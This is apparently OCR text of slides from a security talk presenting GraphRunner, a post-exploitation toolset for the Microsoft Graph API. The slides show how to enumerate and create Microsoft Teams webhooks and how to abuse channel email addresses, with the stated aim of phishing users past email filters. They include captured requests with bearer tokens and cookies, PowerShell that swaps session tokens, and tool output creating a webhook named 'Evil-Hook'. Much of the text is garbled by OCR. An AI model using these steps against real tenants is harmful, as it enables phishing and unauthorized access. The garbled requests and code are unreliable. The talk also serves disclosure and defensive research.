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GraphRunner

e A Post-exploltation Toolset for
Interacting with the Microsoft Graph

API

e Everything from Outlook to AzureCLI
rely on this API

e Developed by Dafthack

e GitHub:
h : ith m fthack/GraphRunn

er/



Limitations of the Graph API

e Can refresh to different resources but there are still limitations

e Specifically, the API has access to Microsoft Teams and Office
o But not all features are accessible directly



Microsoft Connectors

Keep your group current with content and updates from other services,

All Sort by: Popularity v

Connectors for your team

ng I_nn:omin Webhook

dd

e Team's connectors allow users to
integrate external services and tools

o Directly 1nto thelr Teams channels
and conversations

CRM
e Examples include Azure, GitHub, Jira, Customer Support
Trello, RSS feeds, Jenkilns wperie

Project Management

Others




Connectors for "Demo" channel in "General” team

0 )
é;. Incoming Webhook

The Incomind onnector enables

Copy the URL below to save it to the clipboard, then select Save. You'll need this URL

when you go to the service that you want to send data to your group.

nttps/ A  <bhook office | TR

Url is up-to-date.
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What are Webhooks ™

And Why Do We Care?



Webhooks

e HTTP callbacks that are triggered by specific events
e The source makes a POST HTTP request to the URL configured for the webhook

e Useful for automating tasks & integrating different software application



Webhooks — Why Do We Care

e Great for phishing - Teams messages avoid email filters

e Message will appear as though 1t was sent by a legitimate connector app
o Less suspicion from the target users

° user can create or view a webhook in a channel

e Hundreds of connector apps that Microsoft “approves”



Microsoft’'s Authentication

e There are several methods out there for authenticating webhooks:
o Basic Authentication

API Key 1in the URL

Shared Secret value

Cookile-based Authentication

mTLS

O O O O



Microsoft's Authentication

e By default, Microsoft’'s webhooks come
with

e Meaning any unauthenticated
user can send a message

e Microsoft views this as not a security

F LNt




Enumerating Webhooks

Hunting Them Down



Getting Started

e Obtain an access_token &
refresh_token

e Refresh to spaces.skype.com

e Then Query the connectors
configuration API

by Beau Bullock (@dafthack)
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Do service principals dream of electric sheep?

For usage information see the wiki here: https://github.com/dafthack/GraphRunner/wiki
To list GraphRunner modules run List-GraphRunnerModules

PS C:\Users\Admin\Desktop\GraphRunner-main> Get-GraphTokens

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code B

authorization_pending
Decoded JWT payload:

aud : https://graph.microsoft.com

iss : https://sts.windows.net/ /
iat : 1702415166

nbf 1 1702415166

exp 1 1702423455

Eldead < ()

acr 21

aio : ATQAy/8VAAAA+h33fpYalWQkkCialzbCGibHna/j9wvnpjJZEsyzvXLKGhLL8uqe6VRVBg49pVvFi
amr : {pwd}

app_displayname : Microsoft Office

appid : d3590ed6-52b3-4102-aeff-aad2292abelc

appidacr > 8

family name : priv

given_name : low

idtyp . user




Connectors Management — Getting the Right Access

e Can’t use our access and refresh token

e Microsoft provides an API to access this interface using tokens:
o https://outlook.office.com/connectors/Manage/AuthorizeUsingToken?client=SkypeSpaces

e We can get ton of new tokens needed to access Teams:
BearerTokenFromWorkload

SkypeSaceTokens

__RequestionVerificationToken_ L2Nvbm51Y3RvCnM1
.AspNet.ApplicationCookie

X-XSRF-Token

O O O O O



Request

Raw Hex

/connectors/Hanage/Author12PU31ngTok°n7clLPnt SkypeSpaces HTTP/1.1

< B8ZNzZ1OGtyWFMLSSIsSImtpZCIET1Qx > OGtyWFMtSSJ9.eydhd
VQiOiJdodHRwczovLZFwaS5zcGFjZXMucZtScGUuY29tTiviaXNzIjoiaHROCHMELYS zdHMudZ 1uZG93cySuZXQvMDE LMUFjNjctOGRINC
OOMJjJmLWISMGItMDU3YWVEXODYx ZGQyLyISImlhdCIEMTcwMjQxNTIzNiwvibmInIjoxNzAyNDELIMIM2ZLCJ1eHALIOJE3MDIOM]QyNjcs ImF
JY3QiOjASImFjciIEIJEILCIJhaWB8iOiJFM1ZnWUxDAnUZQys1SkN1ajJUWFViUFcyM1lhPVIFLAEUOOStYdD1WeczhwOTUZeUZtZFVBIivi
YVlyIjpbInB3ZCJALCJhcHBpZCIE ImQzl ZVQZLTUYYJMtNDEWMi lhZVZnLWFhZDIyOTJhYJAXYyISImFwcGlkYWNyIjoiMCIsImF 1d
GhfdGltZSIEMTcwMjQxNTQ2ZMCviZFta ShbWUiOiJwenml2TiwiZZ 12 ZUSEfhbmFtZST6 ImxvdyIsImlwYWRkciT6IjkSLITIzMi4xM]
YuNTYiLCJuYW1l1IjoibG93 IHByaXYiLCJvaWQiOiJ INzgzNDVmMSOyZTUzLTQyZTItYTcSNS ImYZ EzZODNmNmUYNTkiLCIJwdWlkIjoiMTA
wMzIwMDMxQTVCNEQLIMiIsInJoIjoiMCSBVKFBW]Z4UkFjUOSMMES zQ3 dWNmMS ZWWQWbGYSRMN4cOxCZEJxSX1EcZRUc1M3NjJBT1lkulivi
c2NwIjoiQXBwcySSZUFkV3JpdGUgQXV0aGO9yaXphdGlvbiSSZWFkV3JpdGUgUmVnaWouLlJ1YWRXecml0ZSIsInNpZCIETIJEXMGY4Y3 UL
VYOZTgtNGNmYSOSMGYLLWE3SMjgSOWZmMDAhNiIsInNLIYiTEI]IxV2 IFVHBNZUQzWWctWVIYLXhPbXdraVc0ZkJEclVvRUdGdkwOWV14al
kiLCJOZWShbnREfY3RyeSIEIkNBIiwidGlkIjoiMDE LMWFINjctOGRIJNCOOMIIJmLVISMGItMDU3 YWEXODYXZGQyTiwidW5S5pcXV1X2Z5hbWU
101Jsb3dwemlZQEVpZGVsYnVyZORvbWFpbnMubZ StaWNyb3NvZnQuY29tIiwidXBuljoibGY93cHIpdkBFaWR1bGJ lemdEb2 LhaWSzLmSu
bWljcm9zb2 ZOLmNvbSIsInV0aSIEIj1QZ3FrN 2tpRzRjdAVpENOLIGQUEILCJIZ2ZXTIi0iIxXLjAILCJ3aWRzIjpb ImI30WZiZjRKLTN1Z
JktNDY40S04MTQzLT {JESNGU4NTUwOSJdfQ.n3 lrZDPeslt-aEdn_ 1TL9sI DQuVgEfVIAUnimskfiWty33eEahe4]jTqs2y27SR708Vx
gnlOgrmx émD007czhCQtOjBn-0OmTehOH1IFOQBgWTCuyQc—-wUPDS EgLlZzEbZpsMoEKgLEBVTifjS5Shmvy4nWX3 AHHCoSTLIRYybSmYVRL
8sZiJbLJp-tBZHQcKQDUSejm OlsBgS5YefWOW3IEVrQfrR1kKdZxnFyJdrQOhZOOUdutmjq-OegilHjdQ3yt ITZEK45eZmwZZK1b0O12GCPY
JNDY4kNovo_rr2E1bU71UpdA_zjflrpbhI0ECPAdyDdYOLCINS379wAawVqyMAAOPQ

Pragma: no-cache

Authorization: Bearer

eyJ0eXAiOiJKVIQIiLCJub25j2Z5161j0xazIShTloeTd3 TINUMOVUYWhVbnVEMGhwe WpRbHAiRGSpXz1DTMELdLIEiLCJhbGeci0iJSUZIIN
iIsIngldCIETI 1 3Qt ZExUdnlXUmd4QlB8INzZ10GtyWFMEtSSIsImtpZCIET1QxU3QLZExUdnlXUmd4Q182NzZ10GtyWFMLSSJ9.eyJhd
WQiOiJodHRwczovL291dGxvbhbIisubl ZmaWN1MzY ILmNvhS9jb25uZWNOb3JzIiviaXNzIjoiaHROcHMELY AHMud2 1uZG93cySuZXQvMD
E1MWUFINjctOGRIJNCOOMIJmLWISMGItMDUSYWEXODYxZGQyLyIsImlhdCIEMTcwMjOxNTIzNivibmimIjoxNzAyNDEIMM2LCJ1leHALIOJE
3MDIOMIMzNDUSImFjY3QiOjAsSImFjciI6IJEiLCJhaW8iOiJBVFFBeS84VKkFBQUFtS2hXV3hOMFpuUZNnNHEvQkS5DeHhLNzdgVFF XTORN
dlT4cStXZmpuQXclY2ZJdn XY2FPcis3cEdLdjhEcFgyliwiYWlyIjpbInB3ZCJdLCIJhcHBpZCIEImQzNTkwZWQZLTUyYJMtNDEwWMilhZ
VZnmLWFhZDIyOTJhYjAxYyIsImFwcGlkYWNYIjoiMCIsSImZhbWlseVOuYWllIjoicHIpdiIsImdpdmVuX25hbWUiOidsb3ciLCIpeGFkZH
Ii0iI150S4yMzIuMTIZLjUZ TiwibmFtZSI6 ImxvdyBweml2 Iiwib21kI1joiZTc4MzQlZIEcMmULIMyOOMmUYLWE3OTUt ZmNhMzgzZ3iZ1MjU
STivicHVpZCIEIJEwMDMyMDAZMUELQJjRENTILILCJyaCIEIjAuQVZBQVoZeFJBYINOTDBLMON3V] ZvWV1kMHR3SXIvalMSbD1Ec3FjR2ly
M1p3SVEYyQUOZLiIsInNjcCIE IkNvbmS51Y3RvenMuQWRhcHRpdmVDYXJkcySBY3Rpb252zIHVzZZXIJfaWlwZXIzb25hdGlvbilsInNLIYiIE]
1hkRz1xTVpuOUgSUINZdTZEX3EOZWYySkdtcOtQbFFRZG1iSTRZdGloUmciLCJ0aWQiOi IWMTUxYWMZNYO4ZGMOLTQyMmYtYjcwYiOwNT
dhYTE4NjFkZDIiLCJI lbmlxdWVEbmFtZST€ Imxvd3ByaXZARW1kZWUxi1iZXInRGOtYWlucy5SvbmlpY3JdveZOmdCS5jb20iLCJ1lcG41i0idsh3d
weml2QEVpZGVsYmVyZORvbWFpbnMubZ StaWNyb3NvZnQuY29tIiwidXRpIjoiT2d0aXVwRTRIRTIEAGOnR2dpNEJBQSIsInZlciIEIjEu
MCIsIndpZHMiOlsiYjcS5ZmImNGQtM2VmOSOONjgSLTgxNDMELN < ZquﬂTASILLD.m J"PYFhZ"akLX U vyjﬁIL41kU DD
EDmQE4vX-JQLdcact YbSJ 1wh3 O-TrmuANEbtrPSe88MJmF e pHE C
7WhYAGhySo6SNZI2s3WgEXEK ZPLMQB8UncflzoDCqgkiSmTr “JYfCNnkp3H7 TPVAﬂ‘UHJUﬁfSHL3V5UJ C5t9Jdkud- UFdeu”HliuhuUp
uLBnMZHsDSUKC-yz1-JNnksQ&ésOwehZdCGHdbWDrSm TnwNbyLwUKiiwPZgsJdkB8eK 9Z1PAgXsB8W3-pDRG7KYBZ-zLRw
Cache-Control: no-cache

Sec-Ch-Ua-Mobile: 20

User-Agent: Mozilla/5.0 (Windows NT 10.0;
Chrome/119.0.€045.123 Safari/537.3¢

Host: outlook.office.com

Connection: clo

Viné4; x€4) AppleWebKit/537.36 (KHTML, like Gecko)

Response

Raw Hex

HTTP/2 200 OK
Cache-Control: private,
: no-cache

-1
Microsoft-I15/10.0
Request-Id: dd9BE3€d-2Eb9-49bb-Efa3-11d3674a3as2
Strict-Transport-Security: max-age=3153€000; includeSubDomains;
Alt-Svc: h3=":443",h3-29=":443
X-Preferredroutingkeydiagnostics: 1
X-Calculatedfetarget: YT4PROLCUOOE.
X-Backendhttpstatus: 200
P3p: CP="ALL IND DSP COR ADM CONo CUR CUSo IV
Set-Cookie: DefaultAnchorMailbox=lowpriv@EidelbergDomains.onmicrosoft m;
s cure; Httpﬁnly, SameSite=

sS-maxage

preload

internal.outlook.com

Set-Cookie: BearerTokenFromWorkloa

AiOiJKVIQiLCJub253j2SIEIl

SIsImtpZCIETILl
IjoiaHROcHMELY

Jh25uZWNOb3JzIiviaXl d
Q ”NDELHWM LtJl:HA

ITIzNiwibmdmIj

CJlbm
Mub25taWNyb3NvZ

{(EZVmNIdFS IRENOUDJD
sImtpZCIEIl J3QL ZE d4Q1B82N
HMudZ 1uZG93cySu

<N 1lajJUWFV
LUFh"DIy:Tth]

S d JZLZFVBIiwiYWlyIjpb
WNyIjoiMCIsSImFldGhfdGltZSTIEMTcwM]j
MquHTle*JuinlIT

YyIsImFwc
iTE6Ijk5LjIzMi
MTAwM IUMDM

OSHHILLUE MjgS0WZ mHDdhﬂLIShﬂHxlI(IWI
ItI}UBIlel‘lP MDE LMWFiNjctOGRINCOOMjJmLWISMGItMDU3YWE

uljo 93cHIpdkBFaWR1bGJ1
¢ o I0WZiZ

IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
expires=Tue,

19-Dec-2023 21:12:17 GHMT:

GuxULlIW~1 HJydlIsI

lajEthUlH”DUHmU'LW
HR IwalMSbD1
IsInN1YiIéIlhk

TmuAuEhtLF
CgkiSmTr2JY£C
TnwNbyLwUKiiwPZqgsJk
SameSite=None

JoST3MiLCJhbGe

d 10GtyWFMtSSJ9.
X \ MDE 1 MWF jN7jct OGRINCOOMS ImL
lthI:ManHj N > Y 2 ALQJE3MDIUM];’”]CSIijYle JAsImFjciI6IJEiILC
[ d 16 ImQzNTk

S5hbWUiOidwemlZTiw

eyJhdWQi0
WI)MMI(MD”J

ZUQ:LTUyTthHDEvﬂllh”UZm
12 ZUSfLmFtLbIcI




BearerTokenFrom Workload & SkypeSpaceToken Tokens

ors.AdaptiveCards.Actions

S1d CO-AC1a-g010-a/28991197a0
sub” : "21WiETpMed3Yg-YR2-xOmwkiW4fBzrUoEgFvL4YYxjY
_ctry”: "CA

onmicrosoft.com




Connector’s Management Console Next Steps

e Glves us the connector configuration information
o Specifically, the

e This value allow us to request the address of the webhook

e However, when we send a request, with our tokens we receilve an



Connector’'s Management Console - Error




Connector’'s Management Console

e Using Burp to intercept legitimate traffic

e We can see a slight difference in the SkypeSpaceToken size

Request Response

= kie: DefaultAnchorMaill nmicros
Calculatedbetarget: YT4PROLMES D TLOO COM

onfiguredConnectors":
{
"ProviderGuid":
"Maill Nam
"OwnerEmail
"Descript
"Connector

1A v
iByDescription":"Ad by:low priv”,

"CorrectiveAction”:0,

"IsUpdateAllovedForUser":true

fwulhl4MOu4Iir
Id 1A

el
ODMONWYxLTJ 1IN
X 3 JImMLWVISMGItMDU
duljoiYZEiLCJhYWRE pI3j ipY? U ImFhZFShcHB
MtNDEWMilhZWZmLWF S y y ' ~ 1YY
R < thé a EfL1MGDn: UBiTCadLWvAbLu
wv053t Qic 4_JFdOjk

"ProviderGuid": 22 ( EC Tc = f9€e0bELZ",
"MailboxName

"OwnerEmail”

"Descript

by:high priv




enerating SkypeToken Tokens

e From Burp - this smaller version of the SkypeSpaceToken’'s contents 1is
created by POST request to the API
https://teams.microsoft.com/api/authsvc/v1.0/authz

° this token 1s labeled as a

Request Response

Pretty

POST /api/authsvc/v1.0/authz HTTP/1l.1 1 HTTP/ 200 O
o tent-Length: 8357

joiaHROCHMELYS
ITIzNiwibmJmIj
jAs InF 3 ys1SkN1ajJUWFViUFcy
nB3ZCJdLCJh: 3 Q yYIJMtNDEWMilhZWZmLWFhZDI
hbWUiOidwecm
QiOiJ1IN IDVIMSO
nts":[{"url
FD&Destinat

lEDGEOSOS Ref C: 2023-12-

Udutmijg-0
yYMAAOPQ

eWebKit/537.36
wMjQy
NDE LMjM2

7 Content-Length:
nnection

pi In
"tokenTyp




Decoded SkypeToken

e This SkypeToken 1s quite different than
the original one SkypeSpaceToken
created previously.

e Decoding the JIWT value shows that this
token 1s very different from the ones

we receilved previously.

e We need to do some cookie editing..




The Code

### This is where we get a SkypeSpaceToken that allows us to query the configuration API

$headers3 = @f
"puthorization™ "Bearer $token3”
"User-Agent” = "Mozilla/5.8 (Windows NT 18.8; Win6d; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.8.6845.123 Safari/537.36"
"Origin" "https://teams.microsoft.com™

h
$response6 = Invoke-WebRequest -Uri “https://teams.microsoft.com/api/authsvc/vl.a8/authz” -Method POST -headers $headers3

$jsonResponse = $response6.Content | ConvertFrom-Json
$skypeToken = $jsonResponse.Tokens.skypeToken

### Create a temp copy of the websessions then replace the SkypeSpaceToken for the ConfigurationManager API
$tempSessions = $WebSession

$cookieName = "SkypeSpacesToken”
$newValue = "$skypeToken”

$SuperfivesomeSession = New-Object System.MNet.CookieContainer
foreach ($cookie in $websession.Cookies.GetCookies($url)) {
if ($cookie.Name -ne "SkypeSpacesToken") {
$SuperfwesomeSession. Add($cookie)

$webSession.Cookies = $SuperfwesomeSession
$Cookiel = New-Object System.MNet.Cookie
$Cookiel.Name = "SkypeSpacesToken™
$Cookiel.Value = "$skypeToken”
$Cookiel.Domain = "outlook.office.com”
$tempSessions.Cookies . Add($Cookiel)




Things that should not work

e Creating our own set of tokens by
manipulating existing values should
not allow us access




"ConnectorType":inull,
"ShowErrorIcon":false,
"ConfiguredConnectors™: [
{
"ProviderGuid":"Z03alelcoc-2 =47 ; Foelbekz",
"MailboxNam=":null,

"OwnerEmail”: " Lowpr ive N - oicrosoft. com"”,

"ConnectorConfigqurationId™:

"AAMEAGY

"AddedEvyDescription": "Added byv:low priv",
"CorrectiveAction™:0,

"Islpdatedl lowedForUser": Lrus

"ProviderGuid™: "Il Ze-Iacc-47c Sg0bekI™,
"MailboxNam=":null,

"OunerEmail™: "highpr ivE N . - vicrosoft.com”,
"Description': "Ueboo

"ConnectorConfigqurationId™:

"AAMKAGY FroZWUILTIJhNDMtNDEwMyO42




Getting the Goods

e Once we have the — We can send a request and get the
URL of of the Connector (aka a webhook)

Request Response

Pretty




Example Graphrunner — Get-Webhooks

PS C:\Users\Admin\Desktop\GraphRunner-main> Get-Webhooks
Team: Research
TeamID:
Checking Channel: Gitlab
ChannellID: @thread.tacv2
Connector Details:
MailboxName:
OwnerEmail: lowpriv@ .onmicrosoft.com
Description: Gitlab_Security
ConnectorConfigurationId: AAMKAD11MTQINDJ1LTg@OYWMENGYyYYilhOTQzLWRhNTNkN]E3ZTUSOQBGAAAAAABAISSUPMgtT7X70IxglbwEBWB1URIV-1RkT7y6Ng2EYZ9zAAAAAAEaAABLIURIV-1RKT7y6
AddedByDescription: Added by:low priv
CorrectiveAction: @
IsUpdateAllowedForUser: True
Webhooks: https:// .webhook .office.com/webhookb2/ / IncomingWebhook/adfa
Connector Details:
MailboxName:
OwnerEmail: highpriv@ .onmicrosoft.com
Description: Gitlab_Notification
ConnectorConfigurationId: AQMKAD11MTQINDI1LTg@YWMENGYYYilhOTQzLWRhNTNKNJE3ZTUSOQAARgAAA12LN1Q aqlPtfs4nGCVVAQHAHVRELX_VGRPvVLO2DYTIN3MAAAIBGEAAAHVRELX_VGRPvLo2)
AddedByDescription: Added by:high priv
CorrectiveAction: @
IsUpdateAllowedForUser: True
Webhooks: https:// .webhook . office.com/webhookb2, /IncomingWebhook/c938
Checking Channel: News
ChannellD: athread.tacv2
Connector Details:
MailboxName:
OwnerEmail: highpriv@ .onmicrosoft.com
Description: Reddit_News
ConnectorConfigurationId: AQMKAD11MTQINDI1LTg@YWMtNGYyYilhOTQzLWRhNTNKNIE3ZTUSOQAAREAAA12LN1Q aqlPtfs4nGCVVAQHAHVRELX_ VGRPVL02DYTIN3MAAAIBGEAAAHVRE1X_VGRPvLO2)
AddedByDescription: Added by:high priv
CorrectiveAction: ©
IsUpdateAllowedForUser: True
Webhooks: https:// .webhook .office.com/webhookb2/ /IncomingWebhook/ecab




Creating Webhooks



Creating Webhooks

e Follows the same process for enumerating

e With one extra step — A POST request that contains a Webkit form submission

o Webkit contailns:

The type of webhook Elﬁiiiﬁifﬂﬁiajifﬁﬁif%ﬂwmﬁ“nm“mwhm
Name
Channel

[
2G TaTrpIX2QuEswL20ZFbJ
m Request Value e
- undar
[ | EtC ° _ontent-Disposition: form-data; name="ConnectorConfigurationId”

—-==—=——=WebKitFormBoundaryXqB8duIlBBYQmYGe iE
Content-Disposition: form-data; name="Alternateld"”

bdlfb3fd0édad74bSZe7bd%al7a00709
—==—=—=JebKitFormBoundar yXqB8dulBBYQmYGe iE
Content-Disposition: form-data; name="ForvardToEmail"

GarJn7B4EH43JuRX7
QaYcRrRRN&E
2pDwkoIsDUCc
.llEHl mUAAAAAL D




The Catch

e When passing the Webkit request to the API with our current values we get
an error..

e Because the request TeamsID must be the ID of the "General” channel of that
Teams not the actual channel you want to put the hook 1in

e The desired channel ID goes in the Webkit form.



Response
Pretty Raw Hex Render

dress=
&Culture=en-uss& 14 <script src="
Hast=ca.ng.msg.teams.microsoft.com&SSThread= //ajax.aspnetcdn.com/ajax/jquery/jquery-1.9.

l?:TaQaEdeb4fE4a2ca90J1fh;—5415155@thL ad.tacvZSSTheme=default&enableConnectorApps=trues oft.com">
: ~ = foe </script>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4) AppleWebKit/537.3€& (KHTML, like Gecko)
Chrome/119.0.6045.123 Safari/537.36 46 <script src="
Content-Type: multipart/form-data; boundary="----WebKitFormBoundaryXq8dulBBYQmYGeiE" /connectors/bundles/fabricjsbundle ?v=vpwBhLi
Host: o© i riv@EidelbergDomains.onmicrosoft.com">
Cookie: SkypﬁSpacesTPamId—lG'faGacq mef:4a_caQOJ1fh4~5415155@th1 ad.tacvl; </script>
Default ANCT =1oWpr1ivQ . (s} siii 0SS0 « B [ omWorkload=

eyJ0eXAiOiJKV1Q lL'Jub 5jZS1€I]jNje EJma J”"TPD"“GNHUILrmPlTSStY_I hPHH’LHDtOZOtFT“?:L_ulL'Jmmvr 8 <script>

1H1JﬂU"IlH1131nqld'IcIj"" “SQTHPPN"lpﬁGVWPHH EnkwNUtmOTdaRS IsImtp”'IcIj“" 2552HRRNZ ppOGVORGMzRNn 49 document.title = "Error";

kwNUtmOTdaRSJ9.e 2suWhZZmaWN1MzY Il LmNvbhbSSibZSuZWNOb3JdzIiviaXNzIjoiaHRO ! psed false;

vHMcL"G:dHMud“luZGQ "SuZ‘_,MDELMUFjertOGPjNIDOHijLUI:MuItHDL’"UE ODYxZGQyLyIsImlhdCIEMTcwNDc var urlActionToHome
cXNCwibmdmIjoxNzAONzISNzZEOLCJ1leHAiOjJE3IMDQ3MzgwNTMS ImFjY3QiOjASImFjciIeIjJEiLCJhaWB8i0iJBVFFBeS '/connectors/?Client=SkypeSpaces&Mailbox

Response
Pretty Raw Render
dress= ) </span>
sCulture=en-uss& -~
gat=ca.ng.msg.teams.microsoft.com&SSThread= <input aria-labelledby="uselWebAdressBelowvlLabel"” aria-readonly="true"
5STheme=default&enableConnectorApps=trueé& class="webhookUrlTextBox form-control webhookUrl " id="Address"
. - .'l.l name="Address" r"—aclunly="TLu-=" style="display: inline-block"”
User- Agr-nr. Mozilla/ 5 0 (Vindows NT 10.0; Win&4; x€4) AppleWebKit/537.36 (KHTML, like Gecko) tabindex="0" type Xt" value="
Chrome/119.0.6045.123 Safari/537.3¢ https:
Content-Type: multipart/form-data; boundary="----WebKitFormBoundaryXq8dulIBBYQmYGeiE" Incoming
Host: ouplesloffice com Vebhook/f9cc98lef0al4BaZa326£fb98489h3e90/e78345f1-2e53-42e2-a795-fca
Cookie: lSkypeSpacesTeamId=lF:CLiHGBTT‘fGLfr O8nqginDpsg3glEAJUEevsWIwx041@th .ta : 383fEe2s59" />
DefaultA TP O RS TV L TP E T T P DO T e DT C P SO L T CoT DR e - . <button title="Copy to Clipboard"” class="form-group copy_button"
eyJ0eXAiOiJKVIQiLCJub253)2S16IiNjeEJmaZJ ZYTRDY2ONMVlrcmRiT28L Yz hRMHVrNOtOZOtFT292S28iLCJhbGe type="button” onclick="CopyToClipboard('webhookUrl'
10iJSUzI1NiTIsIngldCI&IjVCM25S=HRRN2 p ORGMzRnkwNUtmOTdaRS Is Imt pZC & IVCM2 5SeHRRN2 p ORGMzRn S : _webhook. office. com/webhookh? /INNG_—_——
kwNUtmOTdaR5J9.eyJhdWQiOiJodHRwczovL2I91dG sub2ZmaWN1MzYI1LmNvbSSib25uZWNOb3JdzIiviaXNzIjoiaHRO
‘HHcL'G"«'lHHu-'l"luZwG;v',S\u vMDE LMWUFjNjctOGRINCOOMIIJmLVI3MGItMDU3YVEXODYxZGQyLyIsImlhdCIEMTcwNDc gWebhook/fScc9B8lefDal4B8aZa326th98485b3e50/e783 B e2-a795-fc
ic wthJij *NzAONzISNZEOLCJleHA i ‘3E>HD"‘H quITHsImFﬂ':;v jAsIij lI(I‘)ElL JhaWgio LJB"FFB—-w 383f6e259', 'Copy to Clipboard: Ctrl+C, -opied to




Example GraphRunner - Create-Webhook

Team Name: General

Channel Name: Demo

Token value: 0125¢90nUPBA2M2IIViLhPQGDDr7v1pn-DbDxe2GShIAAQAAeVZS5SY-La9I4XieNasMxwOubeXms8NeGarIn7B4EH43JURX7IAWTZUUXCSrc-mPQLaSpBTEDWFV1QfyfisS
TPgmb26C3iMtoz1KP7HAQX6IC0oSqIoMQclLbWengBOhaXylcoFkJIQaYcRrRRN6INkcIbaQpplg8lpetxSst5SQ 6GPEXSZcp9GI1xRNS063 -GidIRxR8nyuvybkuxw8uDct eG2s84VVb
kVg8HQjOSs2pDwkoIsDUCAO0Xs9gZzsGPIhja8kVVcFHC8 _ZIePiQ4nweNs2RXadvc7Q8HITOposysZUWMCYSAZ7FIbGS0ltZwfbKRpQzN1fgzEZwl EHGmMWAAAAArDEV2mvprnhktHKShX
K8ectjIaTrpIX2QuEswL20ZFbleje3HREMF wtbWtidP84cAXRgXuXc4GOM3d4Y 4s1nSuGGwZweeEGYMLzFtGaZtGe4BAmSkaZj D4xB-02JE1

A1tID value: bdlfb3fdeedad74b92e7bd9al17a00709

Token value: @e151ac67-8dc4-422f-b7eb-857aal1861dd2

Webhook Creation Successful

Webhook Name: Evil-Hook

Webhook Address: https:// .webhook.office.com/webhookb2/ @0151ac67-8dc4-422f-b70b-0857aa1861d
d2/IncomingWebhook/fc23dccbb72e459ca%91cc598e33efbel/

ming Webhook so group members w

ne Evil-Hook




Testing 1n the Wild

e Microsoft claims that this 1s not meet requirement's to be a security 1ssue

e They're response 1is that you need access to perform these actions

e We observed this feature enabled 1in:
o All tenants have 100s of connectors by default

Disabling/delete the user who created them doesn’t remove the webhook
o Numerous clients susceptible



Interesting

e Creating webhooks this way
o Avoids the need to install the connector (from the GUI perspective)

e Typically, you need to first install the connector before deploying a
webhook



Connectors for "General” channel in "Test" team

Keep your group current with content and updates from other services.
Teams Posts Files Note Search P ’ Sort by: Popularity v

- Connectors for your team
MANAGE

a ;
3 Incoming Webhook
S &5 =
CJ" Send data from a service to Foatipe

* Your teams My Accounts your Office 36

> u General time. ration with name jira

CATEG(

<, Discover

All _ Configure

v n Research
Genera sily create surveys, quizzes

Analytics and polls

CRM All connectors

Customer Support Azure DevOps

D Collaborate on and manage
Developer Tools Collaborate on and manag

software pr

Marketing \ RSS m
@ :‘_? : feads fo

News & Social
Project Managemer

Others

No




Channels

And The Things That Should Never Be A Feature



* Your teams

General

General

Demo

Resea [ Channel notifications

Dev

<7 Pin
R Hide

§63 Manage channel
&2 Get link to channel
/2 Edit channel

& Workflows

Get email address

W Remove email address

v Advanced settings

Anyone can send emails to this address

@ Only members of this team

(O Only email sent from these domains:



Channel Addresses

e Channel addresses are randomly generated, allowing emails to be received 1if
they came from:

o Internal domains
o Specific domains
o Anyone

e Anyone - This means external users can send messages to this address with
no 1ssues



Channel Addresses — Microsoft’s Response

e Microsoft claims that this feature needs to be enabled by IT.

e However, we observed this feature enabled 1in:
o 1 dev tenant
o 1 private tenants used for research
o 1 freshly created tenant
o 3 client tenants

e Only requires a GET, POST and PUT (you don’t see PUT requests that often)

e Not avallable for any Office 365 Government Plans



e Checks i1f the channel has an emall address set. If there 1s no email
address, 1t will respond with a status code "NotFound"

Request Response

Raw Hex = Pretty Raw Hex
mail HTTP/1.1 HTTP/1.1 404 Not Found
2 Cache-Control: no-cache, no-sto
Content-Length: 24
1 Content-Type: application/json;
5 Vary: Origin
- Access-Control-Allow-Credential
Access-Control-Allowv-Origin: ht
Access-Control-Expose-Headers:
¥X-ServerBRecquestId: 1Cl4435E7EDS

7 X-MachineName: mtsvc000
IjkELjIzHiQEHquHTYiLCJuYUllIﬁoibGuwIHE ainLFTgnU

) ) | Strict-Transport-Security: max-
iLCdeUlkIjoiHTAszIwHD A 1U05 N UUHwbI 5

Cl

] """
B O |‘[l

HI

(1]

GET /api/mt/amer/
teams.micr
horization:
JO0eXAiOiJEV

[ws]
(1]
o
[=h

PEZOIEBTiwiYWly

GYSPRmiN4cO J I: : > ¥-Cache: CONFIG NOCACHE
.wHCDD?T1 J[] ol 1MmU3 3 X-M5Edge-Ref: Ref A: 1C14435E7E
i i Date: Thu, 04 Jan 2024 18:13:19

RpIjDibDHYHTE?dUlqRLjWH:RtHjlqul

"errorCode":"NotFound"
ZTglNTAST10sInhtclS9YyIEWyJDUDE

’H—uth"PDuCl.TLH’CdLAUDDP“lUnItH Gi-uGmASssWis4wSHUL-=d XzCSTLIPxA



e Allows us to change the current values of

address already exists

Request

Pretty Raw
ST /api/mt/amer ta/channels/ 19:7a%a&4dbb4fE4aZca’03 LfbB8e5419155fthread. tac
teams.micro
horization: Bea
J0eXAiOiJKVIQIiLCJubZS5)ZSI6 ImxaR1lpCTZSwe2x INDBWNHAYSERL
UtmOTdaRS CIé 255eHR G NUEtmO

mail HTTP/1l.1

2cGFjZXMuc2tS5cGUuY2l9tliviaXNzIjoiaHROcHMELYSz dHHud”luZuﬁsc"SuZ QVMDE LMWFjNjct

3 O0OMjJmLWISMGItMDUIYWE JyLyIsImlhd EMTcwNDMwOTg4NiwibmdmIj
IsIMF3IY3QiOjASImFjciI6IJEILCIJhaWBi0iJFM1ZnWU uaSVZ—mIDMZq,ngUdZDyS

X25hbWUiO0 Jvcml:Ilw123127H5fbmFt2qI£I

vaWQiOidJdl
iLCJwdWlkIjoiMTAwMz IwMD IMiIsIndoIjoiMCSBVkFBW]Z4UkFjUOSMMES
RWclM3NjJBTlkuliwicZNwI b, 19pbXBlenNvbmFODaWSulivwicZlkIjoiMzdhOGRiYTU

“TJE=VEHS:VEP1FJVlZPHlELLFJhbGCLWLJSU:I

WMCOOYTNJLVEYMmQtNjE4MmU3 Y

‘allowedSenderType” if an email

Response
Pretty Raw Hex

1 HTT .1 200 OK
2 Cache-Control: no-cache, no-store
3 Content-Length: 39
i Content-Type: application/json; charset=utf-
Vary: Origin
ontrol-Allow-Credentials: true
ontrol-Allow-Origin:
Access-Control-Expose-Headers: ~LP:qu~stI
704E3589C76344 1AAECFB98441936DES
oooooz
urity: max-age=31536000; includeSubDomains
OCACHE
MSEdge-Ref: Ref A: 704E3589C763441AAECFB98441936DES Ref B: YTOOLEDGEO708 Ref

